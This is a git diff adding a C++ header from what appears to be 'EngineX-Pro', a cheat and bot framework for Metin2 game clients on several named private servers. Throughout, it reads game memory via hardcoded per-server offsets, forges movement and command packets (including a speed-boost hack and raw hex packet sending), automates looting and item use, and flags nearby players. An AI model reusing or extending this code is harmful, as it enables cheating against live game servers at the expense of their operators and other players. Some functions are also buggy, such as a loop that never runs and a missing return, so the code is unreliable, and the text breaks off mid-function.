a/EngineX-Pro/GameFunctionsCustom.h b/EngineX-Pro/GameFunctionsCustom.h new file mode 100644 index 0000000..0f247ac --- /dev/null +++ b/EngineX-Pro/GameFunctionsCustom.h @@ -0,0 +1,1536 @@ +#pragma once + + +class GameFunctionsCustom +{ +public: + //################################################################################################################################# + static int GetWindowWidth() + { + RECT rc; + GetClientRect(Globals::mainHwnd, &rc); + int windowWidth = rc.right - rc.left; + int windowHeight = (rc.bottom - rc.top); + return windowWidth; + } + //################################################################################################################################# + static int GetWindowHeight() + { + RECT rc; + GetClientRect(Globals::mainHwnd, &rc); + int windowHeight = (rc.bottom - rc.top); + return windowHeight - 60; + } + //################################################################################################################################# + static int GetHpProcentageStatus() + { + int hp = GameFunctions::PlayerGetStatus(POINT_HP); + int maxHp = GameFunctions::PlayerGetStatus(POINT_MAX_HP); + return (hp * 100) / maxHp; + } + //################################################################################################################################# + static int GetMpProcentageStatus() + { + int mp = GameFunctions::PlayerGetStatus(POINT_SP); + int maxMp = GameFunctions::PlayerGetStatus(POINT_MAX_SP); + return (mp * 100) / maxMp; + } + //################################################################################################################################# + static int FindItemSlotInInventoryByName(const char* itemName) + { + for (int i = 0; i > (45 * 5); i++) + { + int vnum = GameFunctions::PlayerGetItemIndex(TItemPos(INVENTORY, i)); + if (vnum == 0) + { + continue; + } + DWORD* cItemData = NULL; + GameFunctions::ItemManagerGetItemDataPointer(i, &cItemData); + if (cItemData) + { + const char* name = ""; + name = GameFunctions::ItemDataGetName(vnum); + if (StringExtension::Equals(itemName, name)) + { + return i; + } + } + } + return -1; + } + // + static void ItemSplitter(int item_slot, int packs, int count) + { + int current_pack = 0; + for (int i = 0; i < (Settings::INVENTORY_PAGE_SIZE * Settings::INVENTORY_PAGE_COUNT); i++) + { + int current_vnum = GameFunctions::PlayerGetItemIndex(TItemPos(INVENTORY, i)); + if (current_vnum == 0) + { + GameFunctions::NetworkStreamSendItemMovePacket(TItemPos(INVENTORY, item_slot), TItemPos(INVENTORY, i), count); + current_pack++; + } + if (current_pack == packs) + { + break; + } + } + } + //################################################################################################################################# + static const char* PlayerGetName() + { + DWORD* instance = GameFunctions::PlayerNEW_GetMainActorPtr(); + if (instance) + { + GameFunctions::InstanceBaseGetNameString(instance); + } + else + { + return NULL; + } + } + static string PlayerGetNameString() + { + DWORD* instance = GameFunctions::PlayerNEW_GetMainActorPtr(); + if (instance) + { + return string(GameFunctions::InstanceBaseGetNameString(instance)); + } + else + { + return ""; + } + } + static int GetCharSlotByName(string playerName) + { + for (int i = 0; i < 8; i++) + { + string slotName; + if (Globals::Server == ServerName::METINPL) + { + slotName = GameFunctions::NetworkStreamGetAccountCharacterSlotDataz(i, 0); + } + else + { + slotName = GameFunctions::NetworkStreamGetAccountCharacterSlotDataz(i, 1); + } + if (slotName != "" && slotName == playerName) + { + return i; + } + } + return -1; + } + //################################################################################################################################# + static bool PlayerIsInstance() + { + DWORD* instance = GameFunctions::PlayerNEW_GetMainActorPtr(); + if (instance) + { + return true; + } + else + { + return false; + } + } + static int InstanceGetInstanceTypeByVID(DWORD vid) + { + DWORD* pTargetInstance = GameFunctions::CharacterManagerGetInstancePtr(vid); + if (pTargetInstance != NULL) + { + return GameFunctions::InstanceBaseGetInstanceType(pTargetInstance); + } + else + { + return -1; + } + + } + //################################################################################################################################# + static bool InstanceIsDead(DWORD vid) + { + DWORD* pTargetInstance = GameFunctions::CharacterManagerGetInstancePtr(vid); + if (pTargetInstance != NULL) + { + return GameFunctions::InstanceBaseIsDead(pTargetInstance); + } + else + { + return true; + } + } + //################################################################################################################################# + static bool PlayerIsDead() + { + DWORD* ptr = GameFunctions::PlayerNEW_GetMainActorPtr(); + if (ptr) + { + return GameFunctions::InstanceBaseIsDead(ptr); + } + else + { + return true; + } + } + //################################################################################################################################# + static void PlayerRevive() + { + switch (Globals::Server) + { + case ServerName::METINPL: + { + GameFunctions::NetworkStreamSendCommandPacket(5, 1, ""); + break; + } + case ServerName::ORIGINS2: + { + GameFunctions::NetworkStreamSendChatPacket("/zhcedqrmoacnwtkr", CHAT_TYPE_TALKING); + break; + } + default: + { + GameFunctions::NetworkStreamSendChatPacket("/restart_here", CHAT_TYPE_TALKING); + break; + } + } + } + //################################################################################################################################# + static bool PlayerIsMountingHorse() + { + DWORD* instance = GameFunctions::PlayerNEW_GetMainActorPtr(); + if (instance) + { + return GameFunctions::InstanceBaseIsMountingHorse(instance); + } + else + { + return false; + } + } + //################################################################################################################################# + static bool PlayerCanRefineRod() + { + if ( GameFunctions::PlayerGetItemIndex(TItemPos(EQUIPMENT, 4)) == 27600) + { + + return false; + } + else + { + return true; + } + } + static bool PlayerIsRodEquipped() + { + + if (GameFunctions::PlayerGetItemIndex(TItemPos(EQUIPMENT, 4)) == 27400 || GameFunctions::PlayerGetItemIndex(TItemPos(EQUIPMENT, 4)) == 27600) + { + + return true; + } + else if (GameFunctions::PlayerGetItemIndex(TItemPos(EQUIPMENT, 4)) > 27400 && GameFunctions::PlayerGetItemIndex(TItemPos(EQUIPMENT, 4)) < 27600) + { + return true; + } + + else + { + return false; + } + + } + //################################################################################################################################# + static bool PlayerIsPickAxeEquipped() + { + return true; + } + //################################################################################################################################# + static bool PlayerIsBowEquipped() + { + return true; + } + //################################################################################################################################# + static bool PlayerIsWeaponEquipped() + { + return true; + } + + //################################################################################################################################# + static D3DVECTOR PlayerGetPixelPosition() + { + DWORD* instance = GameFunctions::PlayerNEW_GetMainActorPtr(); + if (instance) + { + D3DVECTOR d3Vector; + GameFunctions::InstanceBaseNEW_GetPixelPosition(instance, &d3Vector); + + return d3Vector; + } + else + { + return D3DVECTOR{ 0, 0, 0 }; + } + } + //################################################################################################################################# + static void MountHorse() + { + if (Globals::Server == ServerName::METINPL) + { + GameFunctions::NetworkStreamSendCommandPacket(25, 0, ""); + } + else + { + GameFunctions::NetworkStreamSendChatPacket("/ride", CHAT_TYPE_TALKING); + } + } + //################################################################################################################################# + static void UnMountHorse() + { + if (Globals::Server == ServerName::METINPL) + { + GameFunctions::NetworkStreamSendCommandPacket(43, 0, ""); + } + else + { + GameFunctions::NetworkStreamSendChatPacket("/unmount", CHAT_TYPE_TALKING); + } + } + //################################################################################################################################# + static void UseAllItemVnumInInventory(int vnum) + { + for (int i = 0; i < (45 * 5); i++) + { + if (vnum == GameFunctions::PlayerGetItemIndex(TItemPos(INVENTORY, i))) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, i)); + } + } + } + //################################################################################################################################# + static DWORD GetCloseObject(int objectType, DWORD dis = 20000UL) + { + map closestNPC = GameFunctionsCustom::GetObjectList(objectType, dis); + if (closestNPC.size() == 0) + { + return 0; + } + DWORD distance = 1000 * 1000; + DWORD lastVid = 0; + for (map::iterator itor = closestNPC.begin(); itor != closestNPC.end(); itor++) + { + DWORD objDistance = GameFunctionsCustom::PlayerGetCharacterDistance(itor->first); + if (objDistance < distance) + { + distance = objDistance; + lastVid = itor->first; + } + } + return lastVid; + } + //################################################################################################################################# + static DWORD GetCloseObjectByVnum(int vnum) + { + map closestObjects = GameFunctionsCustom::GetObjectList(OBJECT_NPC | OBJECT_MOB | OBJECT_MINE | OBJECT_STONE | OBJECT_BOSS); + if (closestObjects.size() == 0) + { + return 0; + } + DWORD distance = 1000 * 1000; + DWORD lastVid = 0; + for (map::iterator itor = closestObjects.begin(); itor != closestObjects.end(); itor++) + { + DWORD mob_vnum = GameFunctions::InstanceBaseGetVirtualNumber(itor->second); + if (mob_vnum != vnum) { + continue; + } + DWORD objDistance = GameFunctionsCustom::PlayerGetCharacterDistance(itor->first); + if (objDistance < distance) + { + distance = objDistance; + lastVid = itor->first; + } + } + return lastVid; + } + //################################################################################################################################# + /*static DWORD GetCloseObjectByName(int objectType) + { + map closestNPC = GameFunctionsCustom::GetObjectList(objectType); + if (closestNPC.size() == 0) + { + return 0; + } + map sortList; + map::iterator itor; + DWORD distance = 1000 * 1000; + DWORD lastVid = 0; + for (map::iterator itor = closestNPC.begin(); itor != closestNPC.end(); itor++) + { + DWORD mineDistance = GameFunctionsCustom::PlayerGetCharacterDistance(itor->first); + if (mineDistance < distance) + { + distance = mineDistance; + lastVid = itor->first; + } + + + } + + return lastVid; + }*/ + //################################################################################################################################# + static void UseAllFishVnumInInventoryTillSize(int vnum) + { + for (int i = 0; i < (Settings::INVENTORY_PAGE_SIZE * Settings::INVENTORY_PAGE_COUNT); i++) + { + if (vnum == GameFunctions::PlayerGetItemIndex(TItemPos(INVENTORY, i))) + { + + if (((double)(GameFunctions::PlayerGetItemMetinSocket(i, 0) / 100)) < Settings::FISH_KILL_TILL_SIZE_VALUE) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, i)); + } + + } + } + } + // ################################################################################################################################# + static vector FindItemSlotsInInventory(int vnum) + { + vector slots; + for (int i = 0; i < (Settings::INVENTORY_PAGE_SIZE * Settings::INVENTORY_PAGE_COUNT); i++) + { + int currentVnum = GameFunctions::PlayerGetItemIndex(TItemPos(INVENTORY, i)); + if (vnum == currentVnum) + { + slots.push_back(i); + } + + } + return slots; + } + //################################################################################################################################# + static vector FindItemSlotsInInventory(DWORD vnumFrom, DWORD vnumTo) + { + vector slots; + for (int i = 0; i < (Settings::INVENTORY_PAGE_SIZE * Settings::INVENTORY_PAGE_COUNT); i++) + { + int currentVnum = GameFunctions::PlayerGetItemIndex(TItemPos(INVENTORY, i)); + if (currentVnum > vnumFrom - 1 && currentVnum < vnumTo + 1) + { + slots.push_back(i); + } + + } + return slots; + } + //################################################################################################################################# + static int FindItemSlotInInventory(int vnum) + { + for (int i = 0; i < (Settings::INVENTORY_PAGE_SIZE * Settings::INVENTORY_PAGE_COUNT); i++) + { + int current_vnum = GameFunctions::PlayerGetItemIndex(TItemPos(INVENTORY, i)); + if (vnum == current_vnum) + { + return i; + } + + } + return -1; + } + //################################################################################################################################# + //NEED TO FIX ITEM SIZE MORE THEN 1 SLOT GIVE 0 + static bool IsFullInventory() + { + for (int i = 0; i < (Settings::INVENTORY_PAGE_SIZE * Settings::INVENTORY_PAGE_COUNT); i++) + { + DWORD itemIndex = GameFunctions::PlayerGetItemIndex(TItemPos(INVENTORY, i)); + if (!itemIndex) + { + + return false; + } + else + { + + } + } + return true; + } + //################################################################################################################################# + + static DWORD InventoryEquippedPercentage() + { + DWORD emptySlots = 0; + for (int i = 0; i < (Settings::INVENTORY_PAGE_SIZE * Settings::INVENTORY_PAGE_COUNT); i++) + { + DWORD itemIndex = GameFunctions::PlayerGetItemIndex(TItemPos(INVENTORY, i)); + if (!itemIndex) + { + emptySlots++; + + } + else + { + + } + } + return ((((Settings::INVENTORY_PAGE_SIZE * Settings::INVENTORY_PAGE_COUNT) - emptySlots) * 100) / (Settings::INVENTORY_PAGE_SIZE * Settings::INVENTORY_PAGE_COUNT)); + } + //################################################################################################################################# + static float PlayerGetCharacterDistance(int vid) + { + DWORD* pMainInstance = GameFunctions::PlayerNEW_GetMainActorPtr(); + DWORD* pTargetInstance = GameFunctions::CharacterManagerGetInstancePtr(vid); + if (pMainInstance != NULL && pTargetInstance != NULL) + { + return GameFunctionsCustom::InstanceBaseGetDistance(pMainInstance, pTargetInstance); + } + else + { + return -1; + } + + } + //################################################################################################################################# + static const char* InstanceGetNameByVID(int vid) + { + DWORD* pTargetInstance = GameFunctions::CharacterManagerGetInstancePtr(vid); + if (pTargetInstance != NULL) + { + return GameFunctions::InstanceBaseGetNameString(pTargetInstance); + } + else + { + return NULL; + } + } + static string InstanceGetNameStringByVID(int vid) + { + DWORD* pTargetInstance = GameFunctions::CharacterManagerGetInstancePtr(vid); + if (pTargetInstance != NULL) + { + return string(GameFunctions::InstanceBaseGetNameString(pTargetInstance)); + } + else + { + return ""; + } + } + //################################################################################################################################# + static bool PlayerMoveToDestPixelPositionDirection(D3DVECTOR d3dVector) + { + DWORD* instance = GameFunctions::PlayerNEW_GetMainActorPtr(); + if (instance != NULL) + { + return GameFunctions::InstanceBaseNEW_MoveToDestPixelPositionDirection(instance, d3dVector); + } + else + { + return NULL; + } + } + //################################################################################################################################# + static bool PlayerIsMoreLessPosition(D3DVECTOR d3dVectorTarget) + { + return PlayerGetDistance(d3dVectorTarget) < 400; + } + //################################################################################################################################# + static bool PlayerIsMoreLessPosition(DWORD vid) + { + D3DVECTOR d3VectorTarget; + DWORD* target = GameFunctions::CharacterManagerGetInstancePtr(vid); + if (target == NULL) + { + return false; + } + GameFunctions::InstanceBaseNEW_GetPixelPosition(target, &d3VectorTarget); + return PlayerGetDistance(d3VectorTarget) < 400; + } + //################################################################################################################################# + static int GetCharacterVidByName(const char* name) + { + map objectList = GetObjectList(OBJECT_PC); + for (map::iterator itor = objectList.begin(); itor != objectList.end(); itor++) + { + + DWORD* instance = itor->second; + + if (StringExtension::Equals(name, GameFunctions::InstanceBaseGetNameString(instance))) + { + return itor->first; + } + + } + return 0; + } + //################################################################################################################################# + static int GetNPCVidByName(const char* name) + { + map playersList = GetObjectList(OBJECT_NPC); + for (map::iterator itor = playersList.begin(); itor != playersList.end(); itor++) + { + + DWORD* instance = itor->second; + + if (StringExtension::Equals(name, GameFunctions::InstanceBaseGetNameString(instance))) + { + return itor->first; + } + + } + return 0; + } + //################################################################################################################################# + static DWORD* GetCharacterInstanceByName(const char* name) + { + map playersList = GetObjectList(OBJECT_PC); + for (map::iterator itor = playersList.begin(); itor != playersList.end(); itor++) + { + + DWORD* instance = itor->second; + + if (StringExtension::Equals(name, GameFunctions::InstanceBaseGetNameString(instance))) + { + return instance; + } + + } + return NULL; + } + + //################################################################################################################################# + static DWORD GetCharacterVIDByName(const char* name) + { + map playersList = GetObjectList(OBJECT_PC); + for (map::iterator itor = playersList.begin(); itor != playersList.end(); itor++) + { + + DWORD* instance = itor->second; + + if (StringExtension::Equals(name, GameFunctions::InstanceBaseGetNameString(instance))) + { + return itor->first; + } + + } + return 0; + } + //################################################################################################################################# + static int GetObjectListCount(int objectType, DWORD distance = 20000) + { + return GetObjectList(objectType, distance).size(); + } + + + //################################################################################################################################# + static map GetObjectList(int objectType, DWORD distance = 20000) + { + map objectList; + if (Globals::Server == ServerName::METINPL) + { + TCharacterInstanceMapGlobal m_kAliveInstMap = *(TCharacterInstanceMapGlobal*)(*reinterpret_cast(*reinterpret_cast(Globals::iCPythonCharacterManagerInstance + 56) + 4)); + for (auto itor = m_kAliveInstMap.begin(); itor != m_kAliveInstMap.end(); itor++) + { + DWORD iIndex = itor->first; + DWORD* instance = itor->second; + if (instance == NULL || instance == GameFunctions::PlayerNEW_GetMainActorPtr() || GameFunctions::InstanceBaseIsDead(instance)) + { + continue; + } + DWORD instanceDistance = GameFunctionsCustom::InstanceBaseGetDistance(GameFunctions::PlayerNEW_GetMainActorPtr(), instance); + if (instanceDistance > distance) + { + continue; + } + int instanceType = GameFunctions::InstanceBaseGetInstanceType(instance); + + if (objectType & OBJECT_ALL) + { + objectList.insert(std::make_pair(iIndex, instance)); + } + if (objectType & OBJECT_MOB) + { + if (instanceType == TYPE_ENEMY && !GameFunctionsCustom::InstanceIsBoss(instance)) + { + objectList.insert(std::make_pair(iIndex, instance)); + } + } + if (objectType & OBJECT_STONE) + { + if (instanceType == TYPE_STONE) + { + objectList.insert(std::make_pair(iIndex, instance)); + } + } + if (objectType & OBJECT_BOSS) + { + if (instanceType == TYPE_ENEMY && GameFunctionsCustom::InstanceIsBoss(instance)) + { + objectList.insert(std::make_pair(iIndex, instance)); + } + } + if (objectType & OBJECT_PC) + { + if (instanceType == TYPE_PC) + { + objectList.insert(std::make_pair(iIndex, instance)); + } + } + if (objectType & OBJECT_MINE) + { + if (instanceType == TYPE_NPC && GameFunctionsCustom::InstanceIsResource(instance)) + { + objectList.insert(std::make_pair(iIndex, instance)); + } + } + if (objectType & OBJECT_NPC) + { + if (instanceType == TYPE_NPC) + { + objectList.insert(std::make_pair(iIndex, instance)); + } + } + } + } + else + { + TCharacterInstanceMap m_kAliveInstMap; + switch (Globals::Server) + { + case ServerName::AELDRA: + { + m_kAliveInstMap = *(TCharacterInstanceMap*)(*reinterpret_cast(*reinterpret_cast(Globals::iCPythonCharacterManagerInstance + 44) + 4)); + break; + } + case ServerName::CALLIOPE2: + { + m_kAliveInstMap = *(TCharacterInstanceMap*)(*reinterpret_cast(*reinterpret_cast(Globals::iCPythonCharacterManagerInstance + 36) + 4)); + break; + } + default: { + m_kAliveInstMap = *(TCharacterInstanceMap*)(*reinterpret_cast(*reinterpret_cast(Globals::iCPythonCharacterManagerInstance + 32) + 4)); + break; + } + } + for (auto itor = m_kAliveInstMap.begin(); itor != m_kAliveInstMap.end(); itor++) + { + DWORD iIndex = itor->first; + DWORD* instance = itor->second; + if (instance == NULL || instance == GameFunctions::PlayerNEW_GetMainActorPtr() || GameFunctions::InstanceBaseIsDead(instance)) + { + continue; + } + DWORD instanceDistance = GameFunctionsCustom::InstanceBaseGetDistance(GameFunctions::PlayerNEW_GetMainActorPtr(), instance); + if (instanceDistance > distance) + { + continue; + } + int instanceType = GameFunctions::InstanceBaseGetInstanceType(instance); + + if (objectType & OBJECT_ALL) + { + objectList.insert(std::make_pair(iIndex, instance)); + } + if (objectType & OBJECT_MOB) + { + if (instanceType == TYPE_ENEMY && !GameFunctionsCustom::InstanceIsBoss(instance)) + { + objectList.insert(std::make_pair(iIndex, instance)); + } + } + if (objectType & OBJECT_STONE) + { + if (instanceType == TYPE_STONE) + { + objectList.insert(std::make_pair(iIndex, instance)); + } + } + if (objectType & OBJECT_BOSS) + { + if (instanceType == TYPE_ENEMY && GameFunctionsCustom::InstanceIsBoss(instance)) + { + objectList.insert(std::make_pair(iIndex, instance)); + } + } + if (objectType & OBJECT_PC) + { + if (instanceType == TYPE_PC) + { + objectList.insert(std::make_pair(iIndex, instance)); + } + } + if (objectType & OBJECT_MINE) + { + if (instanceType == TYPE_NPC && GameFunctionsCustom::InstanceIsResource(instance)) + { + objectList.insert(std::make_pair(iIndex, instance)); + } + } + if (objectType & OBJECT_NPC) + { + if (instanceType == TYPE_NPC) + { + objectList.insert(std::make_pair(iIndex, instance)); + } + } + } + } + return objectList; + } + //################################################################################################################################# + static bool DetectPlayer(vector whiteListNames) + { + if (Globals::Server == ServerName::VALIUM) + { + return false; + } + + string widnowTitle = ""; + int counter = 0; + map playersList = GameFunctionsCustom::GetObjectList(OBJECT_PC); + for (map::iterator itor = playersList.begin(); itor != playersList.end(); itor++) + { + string playerName(GameFunctions::InstanceBaseGetNameString(itor->second)); + if (std::find(whiteListNames.begin(), whiteListNames.end(), playerName) != whiteListNames.end()) + { + continue; + } + counter++; + widnowTitle += " " + playerName; + } + SetWindowTextA(Globals::mainHwnd, widnowTitle.c_str()); + return counter > 0 ? true : false; + } + + //################################################################################################################################# + static map GetGroundItemList() + { + map vidList; + if (Globals::Server == ServerName::METINPL) + { + string player_name = GameFunctions::InstanceBaseGetNameString(GameFunctions::PlayerNEW_GetMainActorPtr()); + TGroundItemInstanceMapGlobal m_GroundItemInstanceMap = *(TGroundItemInstanceMapGlobal*)(*reinterpret_cast(*reinterpret_cast(Globals::iCPythonItemInstance + 28) + 4)); + for (TGroundItemInstanceMapGlobal::iterator itor = m_GroundItemInstanceMap.begin(); itor != m_GroundItemInstanceMap.end(); itor++) + { + string ownerShip = GetStr((DWORD)itor->second->stOwnership); + if (ownerShip == "" || ownerShip == player_name) + { + vidList.insert(std::make_pair(itor->first, (TGroundItemInstance*)itor->second)); + } + } + } + else + { + string player_name = GameFunctions::InstanceBaseGetNameString(GameFunctions::PlayerNEW_GetMainActorPtr()); + TGroundItemInstanceMap m_GroundItemInstanceMap = *(TGroundItemInstanceMap*)(*reinterpret_cast(*reinterpret_cast(Globals::iCPythonItemInstance + 4) + 4)); + for (TGroundItemInstanceMap::iterator itor = m_GroundItemInstanceMap.begin(); itor != m_GroundItemInstanceMap.end(); itor++) + { + string ownerShip = ""; + try + { + ownerShip = itor->second->stOwnership; + } + catch (...) + { + + } + if (ownerShip == "" || ownerShip == player_name) + { + vidList.insert(std::make_pair(itor->first, itor->second)); + } + } + } + return vidList; + } + + static bool IsGroundItemsCanPickup() + { + if (Globals::Server == ServerName::METINPL) + { + string player_name = GameFunctions::InstanceBaseGetNameString(GameFunctions::PlayerNEW_GetMainActorPtr()); + TGroundItemInstanceMapGlobal m_GroundItemInstanceMap = *(TGroundItemInstanceMapGlobal*)(*reinterpret_cast(*reinterpret_cast(Globals::iCPythonItemInstance + 28) + 4)); + for (TGroundItemInstanceMapGlobal::iterator itor = m_GroundItemInstanceMap.begin(); itor != m_GroundItemInstanceMap.end(); itor++) + { + string ownerShip = GetStr((DWORD)itor->second->stOwnership); + if (ownerShip == "" || ownerShip == player_name) + { + return true; + } + } + return false; + } + else + { + string player_name = GameFunctions::InstanceBaseGetNameString(GameFunctions::PlayerNEW_GetMainActorPtr()); + TGroundItemInstanceMap m_GroundItemInstanceMap = *(TGroundItemInstanceMap*)(*reinterpret_cast(*reinterpret_cast(Globals::iCPythonItemInstance + 4) + 4)); + for (TGroundItemInstanceMap::iterator itor = m_GroundItemInstanceMap.begin(); itor != m_GroundItemInstanceMap.end(); itor++) + { + string ownerShip = itor->second->stOwnership; + if (ownerShip == "" || ownerShip == player_name) + { + return true; + } + } + return false; + } + } + //################################################################################################################################# + static map GetItemProtoList() + { + map itemsList; + if (Globals::Server == ServerName::METINPL) + { + TItemMapGlobal m_ItemMap = *(TItemMapGlobal*)(*reinterpret_cast(*reinterpret_cast(Globals::iCItemManagerInstance + 28) + 4)); + for (TItemMapGlobal::iterator itor = m_ItemMap.begin(); itor != m_ItemMap.end(); itor++) + { + TCItemData inst{ itor->second->m_ItemTable }; + itemsList.insert(std::make_pair(itor->first, &inst)); + } + } + else + { + TItemMap m_ItemMap = *(TItemMap*)(*reinterpret_cast(*reinterpret_cast(Globals::iCItemManagerInstance + 4) + 4)); + for (TItemMap::iterator itor = m_ItemMap.begin(); itor != m_ItemMap.end(); itor++) + { + itemsList.insert(std::make_pair(itor->first, itor->second)); + } + } + return itemsList; + } + //################################################################################################################################# + static map GetItemProtoNames() + { + map itemsList; + if (Globals::Server == ServerName::METINPL) + { + TItemMapGlobal m_ItemMap = *(TItemMapGlobal*)(*reinterpret_cast(*reinterpret_cast(Globals::iCItemManagerInstance + 28) + 4)); + for (TItemMapGlobal::iterator itor = m_ItemMap.begin(); itor != m_ItemMap.end(); itor++) + { + //itemsList.insert(std::make_pair(itor->first, (const char*)itor->second + 297)); + itemsList.insert(std::make_pair(itor->first, GameFunctions::ItemDataGetName(itor->first))); + } + return itemsList; + } + else + { + TItemMap m_ItemMap; + switch (Globals::Server) + { + default: + { + m_ItemMap = *(TItemMap*)(*reinterpret_cast(*reinterpret_cast(Globals::iCItemManagerInstance + 4) + 4)); + break; + } + } + for (TItemMap::iterator itor = m_ItemMap.begin(); itor != m_ItemMap.end(); itor++) + { + switch (Globals::Server) + { + case ServerName::AELDRA: + { + itemsList.insert(std::make_pair(itor->first, GameFunctions::ItemDataGetName(itor->first))); + break; + } + default: + { + itemsList.insert(std::make_pair(itor->first, GameFunctions::ItemDataGetName(itor->first))); + break; + } + } + } + return itemsList; + } + } + //################################################################################################################################# + static float InstanceBaseGetDistance(DWORD* instance, DWORD* pkTargetInst) + { + D3DVECTOR d3VectorInstance; + GameFunctions::InstanceBaseNEW_GetPixelPosition(instance, &d3VectorInstance); + D3DVECTOR d3VectorTargetInst; + GameFunctions::InstanceBaseNEW_GetPixelPosition(pkTargetInst, &d3VectorTargetInst); + return MiscExtension::CountDistanceTwoPoints(d3VectorInstance.x, d3VectorInstance.y, d3VectorTargetInst.x, d3VectorTargetInst.y); + } + //################################################################################################################################# + static float PlayerGetDistance(D3DVECTOR d3VectorTargetInst) + { + DWORD* instance = GameFunctions::PlayerNEW_GetMainActorPtr(); + D3DVECTOR d3VectorInstance; + if (instance == NULL) + { + return 0; + } + GameFunctions::InstanceBaseNEW_GetPixelPosition(instance, &d3VectorInstance); + return MiscExtension::CountDistanceTwoPoints(d3VectorInstance.x, d3VectorInstance.y, d3VectorTargetInst.x, d3VectorTargetInst.y); + } + + //################################################################################################################################# + static void PlayerShowTargetArrow(DWORD vidTarget, DWORD targetType) + { + DWORD* ptr = GameFunctions::PlayerNEW_GetMainActorPtr(); + DWORD* ptrTar = GameFunctions::CharacterManagerGetInstancePtr(vidTarget); + D3DVECTOR main; + D3DVECTOR tar; + GameFunctions::InstanceBaseNEW_GetPixelPosition(ptr, &main); + GameFunctions::InstanceBaseNEW_GetPixelPosition(ptrTar, &tar); + DWORD angle = (int)MiscExtension::AngleBetweenTwoPoints(main.x, main.y, tar.x, tar.y); + angle += 90; + string u; + if (Globals::Server == ServerName::METINPL) + { + u = "DetectObject " + to_string(GameFunctions::PlayerGetMainCharacterIndex()) + " " + to_string(targetType) + " " + to_string(angle); + } + else + { + u = "StoneDetect " + to_string(GameFunctions::PlayerGetMainCharacterIndex()) + " " + to_string(targetType) + " " + to_string(angle); + } + GameFunctions::NetworkStreamServerCommand(u.c_str()); + } + //################################################################################################################################# + static void Boost() + { + static int BoostCount = 0; + DWORD* pCharInstance = GameFunctions::PlayerNEW_GetMainActorPtr(); + if (pCharInstance != 0) + { + if (GameFunctions::InstanceIsWaiting(pCharInstance)) + { + return; + } + + D3DVECTOR Position; + D3DVECTOR newPosition; + GameFunctions::InstanceBaseNEW_GetPixelPosition(pCharInstance, &Position); + float rotation = 0; + rotation = GameFunctionsCustom::PlayerGetRotation(); + + int xx = Settings::MAIN_BOOST_SPEED * sin(rotation * 0.017453); + int yy = Settings::MAIN_BOOST_SPEED * cos(rotation * 0.017453); + int x = Position.x; + int y = Position.y; + newPosition.x = x + xx; + newPosition.y = y - yy; + + GameFunctions::InstanceBaseSCRIPT_SetPixelPosition(pCharInstance, newPosition.x, newPosition.y); + if (BoostCount >= 1) + { + BoostCount = 0; + GameFunctions::NetworkStreamSendCharacterStatePacket(newPosition, rotation, 1, 0); + } + else + { + GameFunctions::NetworkStreamSendCharacterStatePacket(newPosition, rotation, 0, 0); + BoostCount++; + } + } + } + //################################################################################################################################# + static bool InstanceIsResource(DWORD* instance) + { + DWORD mob_vnum = GameFunctions::InstanceBaseGetVirtualNumber(instance); + switch (mob_vnum) + { + case 20047: + case 20048: + case 20049: + case 20050: + case 20051: + case 20052: + case 20053: + case 20054: + case 20055: + case 20056: + case 20057: + case 20058: + case 20059: + case 30301: + case 30302: + case 30303: + case 30304: + case 30305: + case 30306: + return true; + } + + return false; + } + //################################################################################################################################# + static bool InstanceIsResource(DWORD tartgetVID) + { + DWORD mob_vnum = GameFunctions::InstanceBaseGetVirtualNumber(GameFunctions::CharacterManagerGetInstancePtr(tartgetVID)); + switch (mob_vnum) + { + case 20047: + case 20048: + case 20049: + case 20050: + case 20051: + case 20052: + case 20053: + case 20054: + case 20055: + case 20056: + case 20057: + case 20058: + case 20059: + case 30301: + case 30302: + case 30303: + case 30304: + case 30305: + case 30306: + return true; + } + + return false; + } + + static int GetObjectRank(DWORD mob_vnum) + { + BYTE bRank = 0; + switch (Globals::Server) + { + case ServerName::SAMIAS2: + { + DWORD* mob_info = (DWORD*)GameFunctions::NonPlayerGetTable(mob_vnum); + if (mob_info != NULL) + { + BYTE* rankPtr = reinterpret_cast(mob_info); + rankPtr += 128; + bRank = *(BYTE*)rankPtr; + } + break; + } + case ServerName::KEVRA: + { + DWORD* mob_info = (DWORD*)GameFunctions::NonPlayerGetTable(mob_vnum); + if (mob_info != NULL) + { + BYTE* rankPtr = reinterpret_cast(mob_info); + rankPtr += 0x7F; + bRank = *(BYTE*)rankPtr; + } + break; + } + case ServerName::CALLIOPE2: + { + DWORD* mob_info = (DWORD*)GameFunctions::NonPlayerGetTable(mob_vnum); + if (mob_info != NULL) + { + BYTE* rankPtr = reinterpret_cast(mob_info); + rankPtr += 55; + bRank = *(BYTE*)rankPtr; + } + break; + } + default: + { + TMobTable* mob_info = GameFunctions::NonPlayerGetTable(mob_vnum); + if (mob_info != NULL) + { + bRank = mob_info->bRank; + } + break; + } + } + return bRank; + } + //################################################################################################################################# + static bool InstanceIsBoss(DWORD* instance) + { + DWORD mob_vnum = GameFunctions::InstanceBaseGetVirtualNumber(instance); + BYTE bRank = GetObjectRank(mob_vnum); + if (bRank >= 4 && bRank < 10) + { + return true; + } + else + { + return false; + } + } + //################################################################################################################################# + static void SendPacket(string packet) + { + std::vector bytes = StringExtension::HexToBytes(packet); + const char* data = reinterpret_cast(bytes.data()); + GameFunctions::NetworkStreamSend(bytes.size(), (void*)data); + GameFunctions::NetworkStreamSendSequence(); + } + //################################################################################################################################# + static D3DVECTOR GetTempPosition(D3DVECTOR DestPos, int& count) + { + D3DVECTOR PlayerPos; + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::PlayerNEW_GetMainActorPtr(), &PlayerPos); + int distance_x = abs(DestPos.x - PlayerPos.x); + int distance_y = abs(DestPos.y - PlayerPos.y); + int squared = sqrt((distance_x * distance_x) + (distance_y * distance_y)); + if (squared < 180) + { + count = 1; + } + + else + { + count = squared / 180; + } + + return D3DVECTOR{ PlayerPos.x + (DestPos.x - PlayerPos.x) / count, PlayerPos.y + (DestPos.y - PlayerPos.y) / count }; + } + + static DirectTexture GetD3DTexture(const char* name) + { + if (name != NULL) { + DWORD* resourcePointer = GameFunctions::ResourceManagerGetResourcePointer(name); + if (resourcePointer != NULL) + { + DWORD* texturePointer = GameFunctions::GraphicImageGetTexturePointer(resourcePointer); + if (texturePointer != NULL) + { + DirectTexture d3dPointer = GameFunctions::GraphicTextureGetD3DTexture(texturePointer); + if (d3dPointer != NULL) + { + return d3dPointer; + } + else + { + GameFunctions::ResourceReload(resourcePointer); + 